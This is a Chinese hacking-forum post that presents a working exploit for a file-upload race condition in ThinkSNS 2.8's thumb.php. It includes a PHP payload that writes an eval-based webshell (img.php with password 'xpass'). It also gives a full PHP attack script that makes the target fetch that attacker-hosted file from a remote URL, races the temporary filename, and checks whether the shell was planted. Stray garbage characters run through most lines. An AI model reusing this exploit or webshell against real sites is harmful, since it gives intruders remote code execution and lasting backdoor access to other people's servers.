找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1999|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本/ W# K4 R4 X+ v$ ?4 [  t; C
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
) M: n1 x9 ]7 _漏洞文件
+ L/ q, [9 T; i; X" e% Q/ Y存在漏洞的文件为:thumb.php
/ I3 G- C# b* J* j# D# Z作者:韦鲲鹏7 e& l7 c8 Y1 V. u6 G& b, N8 ?( T
1、        准备如下PHP文件并上传到服务器(自己的)。( B9 M+ r; ^  C+ G' \$ m$ C8 H
文件内容如下:
2 k- u( Y! j* q/ ?<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>6 k8 w( w# V) z/ F
2、        计算出临时的文件名:& P* `# J, q! z4 }
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
- v% j) V/ [& A+ K4 p# K& [# Y/ k8 F& m# z1 }/ d, t
3、        上传临时文件。: s9 }! L$ |  I
4、        访问临时文件。7 ]- d0 G  m* Y% L/ x6 _
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)" |$ q0 E, p- Y8 ^+ F  ^
Exploit文件内容如下:(这个我就不详细解释了)" K2 `$ X% k9 x3 [1 p0 Z' o
<?php
! p4 A  j; h/ L/ k3 F/ ferror_reporting(0);
* H3 C$ }2 l6 o/ {+ I9 Z$ V  ^, Eset_time_limit(0);) a: G4 _  u& Z8 ]" p
ini_set(“default_socket_timeout”, 5);
' W& Z$ ?' G0 r  a8 ]& ]' H# Afunction http_send($host, $port, $headers) {0 ?8 @8 I% u: v9 _# [
$fp = fsockopen($host, $port);/ C, s7 M3 c" L; j
if (!$fp) die(‘Connection -> fail’);
4 q. ~' W: M' J+ ^$ J- zfputs($fp, $headers);8 ?. C2 s6 E9 e: h/ k" C3 q
return $fp;" `/ t0 d" {3 l% v# f5 E( r4 j, A
}7 w& E- U, L9 g0 n$ x. c* q+ N2 u
function http_recv($fp) {
+ {  ^* t7 K9 v' e$ret=”";
& W& |6 Z0 J- Owhile (!feof($fp))8 o2 ^( W& x$ j/ q9 d% [$ }3 x
$ret.= fgets($fp, 1024);( x& |5 y: ^8 j9 Q
fclose($fp);
# [3 Y2 n; r3 ^return $ret;# n: ^+ Q) \; B$ q7 Z, D, \
}
+ L) k4 Z+ e4 m9 ~8 ^print “\n#  ThinkSns Arbitrary File Upload   #\n”;
2 C) G+ i+ \% q- R+ Hprint “# Discovered by 韦鲲鹏 #\n\n”;
; P7 Q: c" N( b1 M1 jif ($argc < 4) {+ T% H" z( g% S$ d, |5 `9 |
print “Usage:   php <host> <path> <romote_url>\n”;
5 B' u# s; d: Z' s0 Eprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
2 ?) R+ e% W8 w- e4 J- Gdie();
: c- a2 \9 g9 n: ^- ~. o}
+ Z: X/ t$ v5 t# x8 D5 u; x$host = $argv[1];' ?5 u! f, Q& |) J# G
$path = $argv[2];- I3 P& V: D& H3 O0 c
$url = $argv[3];
6 y9 i- Z! d/ M9 p$i=0;4 i& Z* q4 T! M$ y7 f, o- n
//上传数据包
: y" P- N3 y; P: j* ]3 F  \+ z# B& F8 N$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;8 ], h0 S5 E+ J: e
$headers_up .= “Host: “.$host.”\r\n”;6 @3 K: i& r3 p  c
$headers_up .= “Connection: close\r\n\r\n”;  ^; `! G9 h# Y6 e" Q; V6 Z4 G. D
echo $headers_up;
9 a5 x6 ]0 }! h: M//临时文件访问数据包! j# L4 d7 J2 a: r' q/ D  C  D
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;  f. P% y8 L2 v. t5 i2 x
$headers .= “Host: “.$host.”\r\n”;
( k$ ?0 w; O$ v6 l2 O8 g$headers .= “Connection: close\r\n\r\n”;
0 g3 {$ m6 h: Recho $headers;: k% N7 e0 I( ~, A' E  L/ E+ B
while(++$i<10) {
3 M- n# D+ B7 w. |2 c2 Lfclose(http_send($host, 80, $headers));
/ U) Q+ U  X! k7 s/ R: l0 g+ o' B}
, X( m- H) A! W3 L4 X" s" Hfclose(http_send($host, 80, $headers_up));
' \4 x7 \) B( }/ bwhile(++$i<50) {
& P% j' w8 i2 ^$ S' ^# ?fclose(http_send($host, 80, $headers));
3 c) Q* j4 S$ T+ |}
: p2 h0 I% F6 i$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;, m  c( B# _4 o% f) C4 F
$headers .= “Host: “.$host.”\r\n”;- I: f& w! @$ \! o5 F0 J/ P
$headers .= “Connection: close\r\n\r\n”;
2 H# u6 b! _  ^# f: d, t( C+ p/ w$res=http_recv(http_send($host, 80, $headers));) a& f* z0 S1 o% F2 d
if(preg_match(‘/200 OK/’,$res)) {- T! L0 p$ t% Q+ m
print “Success!\n\n”;2 ^  A3 v. K' @; C9 {
} else {
7 ]$ m+ W' w1 M. F2 V. ]6 Lprint “Fail!\n\n”;
( a8 m5 q3 q3 t' e) z8 m3 v4 |4 p}
, b+ X$ \: L& q! q. Z; a" d?>
+ B; M9 }  K# M' q, ?$ K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表